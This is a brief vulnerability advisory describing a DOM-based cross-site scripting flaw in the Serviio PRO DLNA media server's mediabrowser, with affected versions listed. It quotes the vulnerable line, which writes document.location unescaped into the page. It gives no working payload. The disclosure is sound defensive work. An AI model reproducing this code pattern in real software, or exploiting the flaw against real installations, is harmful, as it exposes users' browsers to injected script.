Serviio PRO 1.8 DLNA Media Streaming Server (mediabrowser) DOM Based XSS Vendor: Petr Nejedly | Six Lines Ltd Product web page: http://www.serviio.org Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1 Summary: Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network. Desc: The application is vulnerable to a DOM-based cross-site scripting. Data is read from document.location and passed to document.write() via the following statement in the response: document.write('<base href="' + document.location + '" />'); This can be exploited to execute arbitrary HTML and script code in a user's browser DOM in context of an affected site.
